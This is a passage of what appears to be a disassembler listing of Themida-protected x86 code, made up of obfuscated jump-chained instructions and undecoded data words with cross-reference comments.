14DF22ACh jmp loc_5571D6 ; --------------------------------------------------------------------------- loc_558253: ; CODE XREF: Themida_:00555B88j not ebx xor ebx, 38F614CFh jmp loc_555FF3 ; --------------------------------------------------------------------------- dd 3358C501h, 2C31242Ch, 242C3324h, 6624248Bh, 2404AB0Fh dd 7E1DE99Ch, 7405FFFFh, 1EF8671h, 0C32958C3h, 1EE4EB81h dd 0EB811892h, 39F3320Ah, 0E92434FFh, 4CFDh ; --------------------------------------------------------------------------- loc_558298: ; CODE XREF: Themida_:005576BFj push eax mov eax, 37CD23FFh xor ecx, eax pop eax add edx, 11BE6927h sub edx, ecx sub edx, 11BE6927h jmp loc_550919 ; --------------------------------------------------------------------------- dd 0E981D9F7h, 4BAA0115h, 0E9C1E1D1h, 5EE18104h, 8102F762h dd 23405AE9h, 6EBA5200h, 420F8F52h, 6AFFE9h, 241C8B00h dd 4C481h, 0C1830000h, 74FF5104h, 0C8B0424h, 4C48324h dd 8B24048Fh, 0C0832424h, 24043302h, 33E2E9h, 81C22900h dd 3341C2h, 24048B4Ah, 4C481h, 0C2810000h, 1663BFAh, 0D5E9C201h dd 8100009Fh, 4C1h, 7C76E900h, 0B2520000h, 4CE2807Ah, 0C086EA80h dd 0E2C007EAh, 0BCEA8008h, 148BD500h, 0E3895324h, 4C381h dd 6EE90000h, 83FFFF86h, 48904ECh, 0E9585424h, 0FFFFC035h dd 70A6C72Dh, 58C631DBh, 2838EE81h, 58E96D52h, 5AFFFFBEh dd 8124048Bh, 4C4h, 5BFE2800h, 2821C580h, 21ED80F5h, 59E8285Ah dd 0D7E95053h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55838F: ; CODE XREF: Themida_:00560785j pop ebx jmp loc_55A0DA ; --------------------------------------------------------------------------- loc_558395: ; CODE XREF: Themida_:00550A75j push ecx push edi mov edi, 28147BDDh xor edi, 2E4D2C4Bh add edi, 45E5A9A4h jmp loc_560D6E ; --------------------------------------------------------------------------- aRq4x0SSEl@rFs7 db 'RQ¹ê4•0Áá',7,'S»…LÙ@RºßÌØäé7È',0 align 4 dd 0B368DBF7h, 8900006Fh, 64B82404h, 0C169570Eh, 0D22D08E0h dd 9EEDEF8h, 0E95758C3h, 0FFFFBE47h, 9C0BE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5583EE: ; CODE XREF: Themida_:0055A299j push ebp mov ebp, 60A66C60h shr ebp, 3 jmp loc_55BF17 ; --------------------------------------------------------------------------- loc_5583FC: ; CODE XREF: Themida_:005632D8j and ebx, 132F5AA7h add ebx, 463817C0h add edi, 163477E7h sub edi, ebx jmp loc_55C736 ; --------------------------------------------------------------------------- aS_8 db '^éÂ*',0 dw 0C100h dd 0EFC106EFh, 0E7814708h, 5A111C73h, 6304C781h, 8EE90E56h dd 54000095h, 83243C8Bh, 0C78104C4h, 4, 4C781h, 0FF570000h dd 8B042474h, 0BCE9243Ch, 51000023h, 1343CB9h, 0E9C83101h dd 0BADEh ; --------------------------------------------------------------------------- loc_558460: ; CODE XREF: Themida_:0055FD53j add edi, 6C282637h inc edi jmp loc_560BB2 ; --------------------------------------------------------------------------- dd 56AACE81h, 0F6811AB3h, 5FFF7EBCh, 348BF189h, 4C48124h dd 1000000h, 7EE959CEh db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55848B: ; CODE XREF: Themida_:00550129j add esp, 4 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax mov eax, 4 add ebx, eax pop eax add ebx, 4 push ebx jmp loc_560897 ; --------------------------------------------------------------------------- db 29h, 0FBh, 5Fh dd 441FB951h, 0E98112E2h, 30259507h, 5CE9CB31h, 3100002Eh dd 24348BF3h, 0E904C483h, 0FFFF7BBFh dword_5584D8 dd 24048B66h, 635A68h, 24148900h, 51B868h, 1CDF6800h, 8F540000h ; DATA XREF: Themida_:0054FE3Co dd 24E92404h, 0BB00006Eh, 785E1A63h, 835BDF29h, 0D7F701EFh dd 2B37E950h, 44810000h, 57B70424h, 34FF05A0h, 0C4C8E924h dd 0E281FFFFh, 5BD70DA2h, 0C918EA81h, 0D3E9ECCAh, 5BFFFF7Fh dd 34FFCF01h, 3075E924h, 4870000h, 0C4815C24h, 4, 4741E952h dd 17B70000h, 0FE302CB6h, 8BF0005Bh, 14E92414h, 870000A8h dd 248B240Ch, 0EC815724h, 4, 55241C89h, 0E23BDC68h, 242C8B6Bh dd 4C481h, 1DE90000h, 0F7000056h, 42E9241Ch db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558583: ; CODE XREF: Themida_:00565666j push 1560h mov [esp], eax push eax push dword ptr [esp+4] jmp loc_55DDA7 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8324348Bh, 0C48304C4h, 0E9D82904h, 788h, 4EC835Ch, 0FF243489h dd 0E9042474h, 0F39h, 8904C483h, 242C8BEEh, 4C481h, 0E9590000h dd 6C2h, 1A9BBB53h, 0FEE96D4Ch, 8B000054h, 0C4812434h dd 4, 5C24048Fh, 0AC85E9h, 0E9CF2900h, 0FFFF8401h, 4C781h dd 0EF810000h, 4, 0E9243C87h, 6CD1h ; --------------------------------------------------------------------------- loc_558604: ; CODE XREF: Themida_:0055B89Aj xor edi, 0D786A763h sub ecx, 2A7B566Ch sub ecx, edi jmp loc_55C604 ; --------------------------------------------------------------------------- db 56h dd 0BEh, 5EF08900h, 3BE9D001h, 5700001Eh, 48E6852h, 148B26D4h dd 4C48324h, 48AB850h, 0E8E926D4h, 54000012h, 8124048Fh dd 42404h, 60E90000h, 5700002Ch, 0C781E789h, 4, 0FFF55EE9h dd 24248BFFh, 310AE8C1h, 0AD6855C8h, 89000066h, 4812424h dd 424h, 0FDE95D00h, 89000041h, 4C181E1h, 83000000h, 0C8704C1h dd 0C875C24h, 24248B24h, 2758E9h, 0F6CBFE00h, 0E9C3FED3h dd 0FFFFE9EDh, 68h, 242C2900h, 0F8B9515Dh, 310616BDh, 0A0DFE9CDh dd 1489FFFFh, 7A9AE924h, 0C4830000h, 8FE1E904h, 0FF540000h dd 835D2434h, 0E95604C4h, 2D48h ; --------------------------------------------------------------------------- loc_5586D4: ; CODE XREF: Themida_:00560D27j pop esp push eax push edx push ecx jmp loc_552405 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 87000000h, 895C240Ch, 0EC832434h, 24048904h, 0F931BAB8h dd 0C50578h, 78E9ED40h db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5586FF: ; CODE XREF: Themida_:0055F436j pop eax push 597Ch mov [esp], eax mov eax, esp add eax, 4 push esi mov esi, 25B579D2h shl esi, 8 add esi, 3306032Dh or esi, 7EAC4BC2h add esi, 1002015h jmp loc_5542A6 ; --------------------------------------------------------------------------- loc_55872F: ; CODE XREF: Themida_:00564CEEj xchg eax, edi jmp loc_55FBB5 ; --------------------------------------------------------------------------- loc_558735: ; CODE XREF: Themida_:0055AF74j pop eax inc ebp shl ebp, 8 xor ebp, 3E34EA04h jmp loc_55E998 ; --------------------------------------------------------------------------- aRIclSl db 'RºicL)éL}',0 align 10h dd 0C2F181h, 0CA31223Bh, 0DEE28159h, 52403511h, 5A241CF7h dd 3C5CE957h, 0C890000h, 0E9E18924h, 0FFFFEB35h, 2094B951h dd 0E9811E09h, 21940A08h, 31DF181h, 0C181724Eh, 73C60FAFh dd 0B765E9h, 1C4F0900h, 8B2434FFh, 0C483240Ch, 4AF76804h dd 1C890000h, 68E38924h, 2823h, 0BE243489h, 75BB5A5Ah dd 0EC81D6F7h, 4, 0B9240C89h, 9C14EE3h, 0AAE9CE31h, 0B800009Dh dd 79684743h, 7436E9h, 0EA815800h, 242F08EEh, 83A8E9h dd 0C8B6600h, 30236824h, 3C890000h, 3CB36824h, 95E90000h dd 66FFFFBCh, 9C2424D3h, 0FF7896E9h, 815058FFh, 3BA72404h dd 815D594Eh, 4E3BA7EDh, 0E9595859h, 0FFFFCD12h, 0C60F4968h dd 0C0E95904h, 31FFFF9Ch, 0EE8158C6h, 0F874A70h, 0EE81DEF7h dd 0DE8C2459h, 11FFE981h, 0F1012569h, 11FFC181h, 348B2569h dd 0F6ACE924h, 0DFF7FFFFh, 0B99AF781h, 0F901B1DFh, 4BF575Fh dd 81000000h, 915297C1h, 81F92965h, 915297E9h, 243C8B65h dd 0FFFE6CE9h, 240431FFh, 5C240433h, 4C181h, 0BD550000h dd 2, 0E95DE901h, 7DFEh, 66C0B60Fh, 5724148Bh, 0EC835F54h dd 241C8904h, 0C3815B54h, 4, 4EB81h, 0FF530000h, 5B042474h dd 8B24048Fh, 0C892424h, 0C2A2E924h, 0F660000h, 6866C8BEh dd 89663A52h, 0C8E9240Ch, 81FFFF77h, 4ECh, 24048900h, 4BE56h dd 0F0890000h, 2444015Eh, 24048B04h, 5B04C483h, 55AB68h dd 24348900h, 4BEh, 70FC6800h, 0C890000h, 3B87B924h, 0CB297FE5h dd 714BE9h, 278DBE00h, 0FE97881h, 58000079h, 4E05E9h, 0F2CF8100h dd 0E9702C23h, 71B5h, 6504D028h, 8B669C2Ch, 0EC832414h dd 24048904h, 3B42E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55893E: ; CODE XREF: Themida_:0055E950j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 87F417Ah jmp loc_55B076 ; --------------------------------------------------------------------------- db 33h dd 248B240Ch, 512EE924h, 0D6010000h, 8C25E9h, 48F5C00h dd 0EBE95C24h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558977: ; CODE XREF: Themida_:0055DB05j and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jnz loc_550D44 push 1 push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 push edi push 3B03h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] add esp, 4 add edi, 4 add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 push 45A9h mov [esp], ebp jmp loc_563C49 ; --------------------------------------------------------------------------- loc_5589E0: ; CODE XREF: Themida_:0055EF34j pop ebp shr eax, 0Eh xor eax, ecx xor eax, esi jmp loc_561808 ; --------------------------------------------------------------------------- db 0F7h, 0D0h, 0E9h dd 2FE8h, 405h, 24048700h, 80BCE95Ch, 0C15AFFFFh, 0DAF706E2h dd 18FBE281h, 0C2811EE4h, 6D975F38h, 215AD789h, 617DE9F8h dd 34330000h, 24343124h, 8404E9h db 0 ; --------------------------------------------------------------------------- loc_558A29: ; CODE XREF: Themida_:00564BC5j sub esp, 4 mov [esp], esi push esp pop esi push edx mov edx, 4 jmp loc_559F5F ; --------------------------------------------------------------------------- db 0C1h dd 0EBC108EBh, 0CAEB8106h, 0E9E8BE1Dh, 0FFFF8135h, 241CF756h dd 0DACE815Eh, 0D1048F01h, 34C681EEh, 1D47F6Eh, 0DD895EF3h dd 223CE9h, 32A8BB00h, 0CEE91B11h, 89FFFFC6h, 0E268240Ch dd 592AF65Eh, 3742E981h, 5CE9794Dh, 10000B3h, 0C8015DE8h dd 633F7B2Dh, 240C8B4Eh, 0FF885AE9h, 4EDBBFFh, 56554CC6h dd 0D652E1BEh, 6EEC140h, 8107EEC1h, 37F465C6h, 4EC2E9B3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558ABA: ; CODE XREF: Themida_:0055F568j xor ecx, 0CB701428h jmp loc_55E7DE ; --------------------------------------------------------------------------- byte_558AC5 db 0ADh, 83h, 7Fh ; DATA XREF: Themida_:0054FE6Co dd 840F0020h, 0FFFF777Eh, 76DEC681h, 0C601575Ah, 742CBF57h dd 0EFC16B64h, 0E8B95107h, 0C102333Ah db 0E1h, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx jmp loc_557D30 ; --------------------------------------------------------------------------- loc_558B05: ; CODE XREF: Themida_:0055378Aj add ebp, 4 xchg ebp, [esp] pop esp jmp loc_550C3E ; --------------------------------------------------------------------------- aR4iBYmDh1 db ']Rº<4©-ÂyMÙDh·1',0 dw 8900h dd 51E9240Ch db 0C2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558B2B: ; CODE XREF: Themida_:00553A97j xor edx, 0B0BDD935h mov eax, edx pop edx add ecx, 12F53ED2h jmp loc_55A74F ; --------------------------------------------------------------------------- byte_558B3F db 0FFh ; DATA XREF: Themida_:00550044o dd 0A0E92434h db 9Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558B47: ; CODE XREF: Themida_:00562D0Ej shr eax, 10h jmp loc_56029A ; --------------------------------------------------------------------------- db 0D3h dd 33E92424h, 81FFFFAEh, 0EF1220C2h, 48B5957h, 4C48324h dd 367DBD55h, 55536225h, 0A35DE9h, 5EB3BF00h, 0C7810BB5h dd 39A0BD7h, 5551D7F7h, 7B76E9h, 72E95B00h, 8B00003Bh dd 0C481240Ch, 4, 34FFF101h, 24348B24h, 8104C483h, 4C4h dd 240C8700h, 8B24248Bh, 54572404h, 864685Fh, 1C890000h dd 4BB24h, 0EF810000h, 8B961BBh, 0C781DF01h, 8B961BBh dd 0FF82D9E9h db 0FFh ; --------------------------------------------------------------------------- loc_558BD1: ; CODE XREF: Themida_:0055E189j mov edi, [esp] add esp, 4 jmp loc_55BB9E ; --------------------------------------------------------------------------- dd 75DD68h, 242C8900h, 2AF9B850h, 56406AE6h, 7266B9BEh dd 0C5F68107h, 81767932h, 9065D6CEh, 51EE810Ah, 176AA4Ah dd 3AE95EF0h, 0F7FFFFDEh, 0ACB951DDh, 416A2E5Ah, 697EE9h dd 0C0596600h, 0C38005E3h, 66D83013h, 58C7885Bh, 72ECE9h dd 0CA0400h, 2CCA2CD8h, 4B204D6h, 421B6870h, 14890000h dd 0B2525324h, 0A0F2809Bh, 148BD788h, 4C48124h, 80000000h dd 0FA889CEFh, 81241C8Bh, 4C4h, 0E9D03000h, 0FFFFF286h dd 7E05E955h, 14890000h, 4BA24h, 0C7810000h, 2C826E07h dd 1321E956h, 0D8280000h, 0EC833204h, 286EE902h, 835A0000h dd 4FE9FFC6h, 0BDFFFFF4h, 3C89348Bh, 0FFC509E9h, 595451FFh dd 0FFF676E9h db 0FFh ; --------------------------------------------------------------------------- loc_558CA9: ; CODE XREF: Themida_:005565C6j xchg ebp, [esp] jmp loc_55D223 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 83240C8Bh, 895604C4h, 4C681E6h, 81000000h, 4ECh, 864EE900h dd 0DD290000h, 242C335Bh, 33242C31h, 13E9242Ch db 83h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558CDF: ; CODE XREF: Themida_:00550D5Fj mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_561AF4 ; --------------------------------------------------------------------------- dw 3487h dd 4895C24h, 347CE924h db 2 dup(0) word_558D02 dw 8B66h ; DATA XREF: Themida_:0054FE40o dd 0ACE92404h, 1FFFFAAh, 241C8BDEh, 0FF73A8E9h, 0B6C181FFh dd 5D079515h, 0FFD054E9h, 0F2814AFFh, 49452A48h, 0E95AD329h dd 0FFFFDB2Ch, 0A471E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D36: ; CODE XREF: Themida_:00557801j add esp, 4 push ebx sub esp, 4 push esp pop dword ptr [esp] push 6BD4h mov [esp], edi jmp loc_55B999 ; --------------------------------------------------------------------------- loc_558D54: ; CODE XREF: Themida_:00559B63j mov edx, 35E51873h mov ecx, edx jmp loc_55A1AF ; --------------------------------------------------------------------------- dd 5D241CF7h, 7D74C581h, 0F58113D2h, 0D8AA56E8h, 0FFB1CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_558D75: ; CODE XREF: Themida_:00560618j or edx, 63D10F2Fh push 6AFDh jmp loc_55768F ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0C8B60F66h, 5FFD68h, 243C8900h, 5F43E9h, 27C28100h dd 0FF055868h, 53582434h, 0BA52E389h, 31A75B5Bh, 5386C281h dd 0F2E9047Ah, 580000B9h, 998FE955h, 0E9520000h, 0FFFF88F4h dd 81E38953h, 4C3h, 2C38100h, 87000000h, 0E95C241Ch, 0B255h dd 0F805D829h, 5B59D27Bh, 0E02D0405h, 2434FF01h, 8324348Bh dd 28E904C4h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558DF7: ; CODE XREF: Themida_:00558ED1j sub esp, 4 jmp loc_556B5D ; --------------------------------------------------------------------------- db 8Bh dd 0C4832434h, 243C8B04h, 4C481h, 68510000h, 32153158h dd 592434FFh, 8904EC83h, 0E789243Ch, 9AE95153h db 0A6h, 2 dup(0) ; --------------------------------------------------------------------------- loc_558E27: ; CODE XREF: Themida_:00562D66j mov ebx, 4C03038Bh jmp loc_55DE46 ; --------------------------------------------------------------------------- aZ4SA db '‡4$\éÆA',0 align 2 loc_558E3A: ; CODE XREF: Themida_:0055D841j dec edx dec edx sub edx, 7212538Eh xor edx, 94327E4Dh sub ebx, 0C6B3F53h add ebx, edx add ebx, 0C6B3F53h pop edx pop edx add ebx, 4 xchg ebx, [esp] pop esp push edi mov edi, 79A26C2Dh not edi push esi mov esi, 3878620Dh sub esi, 0C5F71FFFh sub edi, esi jmp loc_55BBF8 ; --------------------------------------------------------------------------- loc_558E7D: ; CODE XREF: Themida_:005579BCj mov ch, bh jmp loc_561941 ; --------------------------------------------------------------------------- dd 0FF241489h, 8B042474h, 0C4832414h, 24048F04h, 48B665Ch dd 4EC8324h, 89242C89h, 4EC81E5h, 89000000h, 4B82404h dd 0E9000000h, 0BF69h, 4C481h, 0E94A0000h, 0FFFFCEBFh ; --------------------------------------------------------------------------- loc_558EC0: ; CODE XREF: Themida_:0055C90Dj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp push ebp jmp loc_558DF7 ; --------------------------------------------------------------------------- dw 0B753h dd 8AB0E9F7h, 0C4830000h, 59E98104h, 0C16FC56Bh, 0F18102E1h dd 2592DC83h, 8B59CE01h, 8951242Ch, 0D153E9E1h, 0EC83FFFFh dd 241C8904h, 15243481h, 0FF316A00h, 835D2434h, 0E95704C4h dd 57D6h, 159CF29h, 243C8BFAh, 815B5453h, 4C3h, 4C38300h dd 0A350E9h, 81EED100h, 5665B9CEh, 0AE6816Ah, 0C1437379h dd 0C68107EEh, 3DD61D1Ch, 7A3EEA81h, 0F2010A0Dh, 1D46E9h db 0 ; --------------------------------------------------------------------------- loc_558F55: ; CODE XREF: Themida_:0055556Fj xor ebp, edi pop edi sub esp, 4 jmp loc_55CD55 ; --------------------------------------------------------------------------- dd 405E089h, 0E9000000h, 0BD6Bh, 4EC815Ch, 89000000h, 2BB241Ch dd 81000000h, 0F86E3AC1h, 81D9012Ah, 0F86E3AE9h, 7FE95B2Ah dd 83000024h, 0F38104C4h, 13957A7Ah, 404C381h, 0B9E953E5h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558FA3: ; CODE XREF: Themida_:005519D9j sub bl, al sub bl, 0A7h push 2868h jmp loc_55423A ; --------------------------------------------------------------------------- dw 8966h dd 5FB5240Ch, 0E828482Ch, 0FFB6E4E9h db 0FFh ; --------------------------------------------------------------------------- loc_558FC1: ; CODE XREF: Themida_:00557FC8j push 82Bh mov [esp], ebp mov ebp, 560A01DFh push ecx jmp loc_562DBC ; --------------------------------------------------------------------------- loc_558FD4: ; CODE XREF: Themida_:00551543j add eax, esi add eax, 17E92718h sub eax, 208A1467h push edi push ebp mov ebp, 640E1667h push eax mov eax, ebp mov edi, eax pop eax pop ebp add eax, edi pop edi mov esi, [esp] add esp, 4 xor ebx, eax push edx jmp loc_55C34E ; --------------------------------------------------------------------------- dd offset dword_51CC50+218h dw 8900h dd 8951240Ch, 0BB72E9E1h, 0BFB80000h, 104F13Bh, 148B58C5h dd 4C48124h, 31000000h, 242C8BE8h, 8304C483h, 1C8904ECh dd 6472BB24h, 0F3815947h, 0A9B235Bh, 15B9BD55h, 6AE95CFAh dd 500000BFh, 0AD87E9h, 9FC58100h, 813C701Dh, 20542EDh dd 8BE929F5h, 0C481242Ch, 4, 0E9240C87h, 0FFFFB7D0h ; --------------------------------------------------------------------------- loc_55906C: ; CODE XREF: Themida_:00561C1Ej shl esi, 3 shl esi, 4 inc esi push ecx mov ecx, 6E993532h sub esi, ecx pop ecx jmp loc_556915 ; --------------------------------------------------------------------------- db 0B2h, 0B9h, 80h dd 0EC83ABCAh, 243C8904h, 0B850E789h, 4, 0E958C701h, 0FFFFB517h dd 0EA81C201h, 48CB4F6Fh, 240C8B58h, 8704C483h, 248B2414h dd 9CCFE924h, 0BA52FFFFh, 34CC3BF1h, 0F7EA874Ah, 42EA87DDh dd 0EA81DAF7h, 45B6345Fh, 9D34E9h db 0 ; --------------------------------------------------------------------------- loc_5590D1: ; CODE XREF: Themida_:0055EC00j push edi mov edi, 3F1120F4h and edi, 152D5C15h neg edi inc edi sub edi, 1DDD89Dh add ebp, edi jmp loc_554F7E ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 6D060D5Ch, 0AF3513CAh, 5247A507h, 0CEEF2ABAh, 0E9D001F1h dd 0FFFFB222h, 546DEA81h, 0C7E97F6Ah, 80000039h, 0EB001AC3h dd 5BAEE9h, 0E8295900h, 7155BD05h, 335E96Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55912A: ; CODE XREF: Themida_:0055AA0Bj add esi, 4 xchg esi, [esp] pop esp xchg eax, [esp] pop esp add esp, 4 push eax push ebx push ebp mov ebp, 78981249h mov ebx, ebp pop ebp jmp loc_555561 ; --------------------------------------------------------------------------- dd 3304C783h, 71E9243Ch, 0BF000001h, 1E9F6A5Eh, 0E904EFC1h dd 0FFFF8CC0h, 0D82EF4BDh, 5DEB894Bh, 4F0E9h, 6F25E900h dd 0E95DFFFFh, 2E1Ch, 2DC3E681h, 0C1E954A8h, 81FFFF74h dd 2D75DEF2h, 69F28112h, 573A707h, 6B5F6CBFh, 77490B2Dh dd 341CE919h, 54290000h, 6EE90424h db 3Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5591A7: ; CODE XREF: Themida_:0055B153j pop esp mov [esp], eax push esp mov eax, [esp] push eax mov eax, esp add eax, 4 jmp loc_5623D1 ; --------------------------------------------------------------------------- dd 800BCB80h, 0EB8065CBh, 9C06E9E0h, 3487FFFFh, 148B5C24h dd 4C48124h, 81000000h, 4C2h, 0AEB85000h, 684EF424h, 36BCh dd 2AB9E9h, 4E8C100h, 6465E9h db 0 ; --------------------------------------------------------------------------- loc_5591F5: ; CODE XREF: Themida_:00557438j push esp jmp loc_55E2C6 ; --------------------------------------------------------------------------- loc_5591FB: ; CODE XREF: Themida_:005633B7j push 576020F1h pop ebx add ebx, 699B1204h jmp loc_55AA95 ; --------------------------------------------------------------------------- dd 0DD6BEBBAh, 56B8E918h, 0C4810000h, 4, 9F6851h, 24890000h dd 24048124h, 4, 869DE959h, 8141FFFFh, 0B560EFF1h, 0A7F18126h dd 0E96EC20Ch, 61D4h, 0E9243489h, 0B1F8h, 0EE291A05h, 379F056Dh dd 0F0293D25h, 25379F2Dh, 291A2D3Dh, 8B5E6DEEh, 0E9522434h dd 57D0h ; --------------------------------------------------------------------------- loc_55926C: ; CODE XREF: Themida_:0055F8B4j sub eax, 29CA5ED5h pop ecx sub edx, eax jmp loc_563F14 ; --------------------------------------------------------------------------- db 0BEh, 78h, 2Eh dd 0E6814A51h, 58CA2F9Ah, 0FFE915E9h, 24248BFFh, 50A9E9h dd 52556800h, 8F540000h, 4812404h, 424h, 24348B00h, 4C481h dd 0BF570000h, 99946C2h, 0E903E7C1h, 54A5h, 582434FFh dd 0E904C483h, 0FFFF82B7h, 0E9243C31h, 4916h, 5C240487h dd 55240489h, 83F0E9h, 0E9D8F700h, 0FFFFB9AAh, 4C681h dd 34870000h, 24248B24h, 38D9E9h, 0E9F78900h, 19C3h, 2434FF5Ch dd 8324148Bh, 0FC6804C4h, 89000014h, 0AFE92434h, 8100006Bh dd 0F56A68C7h, 89EF8134h, 0E9128628h, 16CAh ; --------------------------------------------------------------------------- loc_559320: ; CODE XREF: Themida_:0055DE15j add ebp, ecx pop ecx push ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] pop esp push ebp push edi sub esp, 4 push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi add edi, 4 push edx mov edx, 4 sub edi, edx pop edx xchg edi, [esp] mov esp, [esp] jmp loc_554407 ; --------------------------------------------------------------------------- dd 4EC81h, 0A9E90000h, 5FFFF97h, 2, 3D04E9h, 66456600h dd 8951D5F7h, 4C181E1h, 81000000h, 2E9h, 240C8700h, 6624248Bh dd 51241489h, 11D0B966h, 56665166h, 5A7FBE66h, 24742966h dd 0C5AFE902h, 0BA52FFFFh, 539D44C4h, 0CE9E9h, 24148900h dd 0FFADA5E9h db 0FFh ; --------------------------------------------------------------------------- loc_5593C1: ; CODE XREF: Themida_:00559A84j pop edx jmp loc_5513DB ; --------------------------------------------------------------------------- loc_5593C7: ; CODE XREF: Themida_:0055A579j mov esi, 2B8D6803h jmp loc_557057 ; --------------------------------------------------------------------------- db 5, 63h, 23h dd 8E91E12h db 94h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5593DB: ; CODE XREF: Themida_:00560BADj not edi xor edi, 0FFD532ACh jmp loc_55797F ; --------------------------------------------------------------------------- dd 541ECA81h, 0F28106CCh, 7950006Ch, 4EC81h, 2C890000h dd 13BA5224h, 0E93F9E74h, 984Dh, 0EA81FA01h, 618F1C8Ah dd 2237EA81h, 3C8B407Bh, 0EE0AE924h, 0B850FFFFh, 2, 1D0FED81h dd 0C5814B1Ch, 18427CC1h, 0A246E9h, 5AD00000h, 681CE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55943E: ; CODE XREF: Themida_:0055E86Ej mov esi, 666634C2h add ebx, esi pop esi add ebx, 5FA39B4h jmp loc_55ABBD ; --------------------------------------------------------------------------- loc_559451: ; CODE XREF: Themida_:00551B3Ej push 7377h mov [esp], edx push ecx jmp loc_55DCE8 ; --------------------------------------------------------------------------- db 5 dd 7F0142F9h, 8B2434FFh, 0C481242Ch, 4, 0E904C483h, 0AA96h ; --------------------------------------------------------------------------- loc_559478: ; CODE XREF: Themida_:0055DEB6j pop ecx jmp loc_55A144 ; --------------------------------------------------------------------------- dw 8951h dd 4EC81D1h, 89000000h, 7568242Ch, 89000079h, 0C8892404h dd 48BC589h, 0F11AE924h, 0E2D1FFFFh, 5A7E68h, 24348900h dd 4EC81h, 2C890000h, 1C26BD24h, 0DDF739EEh, 6035ED81h dd 9AE9567Dh, 68FFFFA1h, 7CDE66C9h, 6859h, 0C290000h, 0F6E95924h dd 100000Fh, 6CEB81FBh, 0E979957Ch, 5028h ; --------------------------------------------------------------------------- loc_5594E4: ; CODE XREF: Themida_:0055DD7Dj add ecx, edi add ecx, 5BD71B8Bh jmp loc_5618A1 ; --------------------------------------------------------------------------- aSS_5 db '^éì˜',0 db 0 ; --------------------------------------------------------------------------- loc_5594F7: ; CODE XREF: Themida_:00560248j mov eax, esp add eax, 4 push ebp mov ebp, 3A733D71h jmp loc_555778 ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 0C3BE2434h, 2923DA4Bh, 52E95EF3h, 5A000062h dd 8F0AE9h db 0 ; --------------------------------------------------------------------------- loc_559525: ; CODE XREF: Themida_:005543FBj xor ebp, 2EAF1997h dec ebp jmp loc_56503B ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0E9000000h, 0FFFFE00Fh ; --------------------------------------------------------------------------- loc_559540: ; CODE XREF: Themida_:00550B0Ej sub ebx, 56D7CEBh pop edi jmp loc_564738 ; --------------------------------------------------------------------------- dd 0DEF6E9B6h, 0B2525366h, 301DB735h, 0FE305AD7h, 241C8B66h dd 8002C483h, 0E9806FC1h, 29C18058h, 0E980F128h, 58C18029h dd 0E96FE980h, 74Ah dword_55957C dd 24048B66h, 4EC8150h, 81000000h, 4ECh, 24248900h, 4BD55h ; DATA XREF: Themida_:0054FE9Co dd 6C010000h, 0EFE90424h, 68FFFF99h, 4, 0FF9103E9h db 0FFh ; --------------------------------------------------------------------------- loc_5595A9: ; CODE XREF: Themida_:00560003j mov [esp], ebx mov eax, [esp] jmp loc_5620DF ; --------------------------------------------------------------------------- loc_5595B4: ; CODE XREF: Themida_:0055AAA0j add esp, 4 jmp loc_557C92 ; --------------------------------------------------------------------------- dd 0BB241C89h, 3D757383h, 0D409B805h, 0E9D8015Fh, 0FFFFB3F1h dd 16976866h, 8260E9h, 24148B00h, 0FF7C68E9h, 21665CFFh dd 0E99C2404h, 0FFFF6AABh, 3C89665Ch, 74FF6624h, 5F660224h dd 24048F66h, 2FE95766h db 1, 2 dup(0) ; --------------------------------------------------------------------------- loc_559603: ; CODE XREF: Themida_:00553364j push 427Bh mov [esp], esi mov esi, 19882931h add eax, 2AE9576Ah add eax, 0AE62548h add eax, esi sub eax, 0AE62548h sub eax, 2AE9576Ah mov esi, [esp] add esp, 4 add eax, 2556601Ah push ecx jmp loc_561DD9 ; --------------------------------------------------------------------------- dw 0EDC0h dd 6ECCE906h, 0D989FFFFh, 0E92434FFh, 0FFFFEB04h ; --------------------------------------------------------------------------- loc_55964C: ; CODE XREF: Themida_:0055FAABj push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_562CA5 ; --------------------------------------------------------------------------- db 51h, 0B9h, 0EEh dd 5749E6Eh, 68E43C7Fh, 5598E9h, 4EC8100h, 0E9000000h dd 